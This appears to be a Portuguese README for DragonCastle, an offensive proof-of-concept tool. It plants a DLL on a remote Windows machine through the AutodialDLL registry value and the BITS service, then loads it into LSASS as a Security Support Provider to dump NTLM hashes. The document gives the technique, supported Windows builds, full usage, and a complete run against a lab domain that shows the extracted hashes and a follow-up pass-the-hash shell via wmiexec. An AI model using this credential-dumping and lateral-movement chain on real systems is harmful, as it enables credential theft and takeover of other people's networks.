DragonCastle

Uma PoC que combina a técnica de movimento lateral AutodialDLL e SSP para extrair hashes NTLM do processo LSASS.

Descrição

Faça o upload de uma DLL para a máquina alvo. Em seguida, ativa o registro remoto para modificar a entrada AutodialDLL e iniciar/reiniciar o serviço BITS. O Svchosts carregará nossa DLL, definirá novamente o AutodiaDLL para o valor padrão e fará uma requisição RPC para forçar o LSASS a carregar a mesma DLL como um Security Support Provider. Uma vez que a DLL é carregada pelo LSASS, ela irá pesquisar na memória do processo para extrair hashes NTLM e a chave/IV.

O DLLMain sempre retorna False para que os processos não a mantenham.

Ressalvas

Só funciona quando RunAsPPL não está ativado. Além disso, adicionei suporte apenas para descriptografar 3DES porque sou preguiçoso, mas deve ser fácil adicionar código para AES. Pelo mesmo motivo, implementei suporte apenas para as seguintes versões do Windows:

Build	Suporte
Windows 10 version 21H2
Windows 10 version 21H1	Implementado
Windows 10 version 20H2	Implementado
Windows 10 version 20H1 (2004)	Implementado
Windows 10 version 1909	Implementado
Windows 10 version 1903	Implementado
Windows 10 version 1809	Implementado
Windows 10 version 1803	Implementado
Windows 10 version 1709	Implementado
Windows 10 version 1703	Implementado
Windows 10 version 1607	Implementado
Windows 10 version 1511
Windows 10 version 1507
Windows 8
Windows 7

As assinaturas/offsets/structs foram retiradas do Mimikatz. Se você quiser adicionar uma nova versão, basta verificar a funcionalidade sekurlsa no Mimikatz.

Uso

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -h                                                                                                                                            
		DragonCastle - @TheXC3LL


usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]

DragonCastle - A credential dumper (@TheXC3LL)

optional arguments:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        valid username
  -p PASSWORD, --password PASSWORD
                        valid password (if omitted, it will be asked unless -no-pass)
  -d DOMAIN, --domain DOMAIN
                        valid domain name
  -hashes [LMHASH]:NTHASH
                        NT/LM hashes (LM hash can be empty)
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
  -local-dll dll to plant
                        DLL location (local) that will be planted on target
  -remote-dll dll location
                        Path used to update AutodialDLL registry value

Exemplo

Windows server em 192.168.56.20 e Domain Controller em 192.168.56.10:

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll                          
		DragonCastle - @TheXC3LL


[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:

		============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 

		============
[+] Deleting DLL

[^] Have a nice day!

psyconauta@insulanova:~/Research/dragoncastle|⇒  wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/[email protected]          
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sevenkingdoms\eddard.stark

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------